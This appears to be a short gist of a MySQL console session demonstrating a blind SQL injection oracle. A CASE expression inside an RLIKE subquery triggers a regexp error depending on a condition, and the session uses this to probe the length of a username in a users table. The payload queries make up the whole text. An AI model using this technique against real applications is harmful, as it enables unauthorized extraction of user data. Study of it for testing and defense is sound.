gistfile1.txt

mysql> select 1 from users where 'fdsa' rlike (select (case when (19>20) then 'a' else '|' end));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> select length((select name from users limit 0,1));
+--------------------------------------------+
| length((select name from users limit 0,1)) |
+--------------------------------------------+
|                                          5 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select 1 from users where 'fdsa' rlike (select (case when (length((select name from users limit 0,1))>20) then 'a' else '|' end));
Empty set (0.00 sec)

mysql>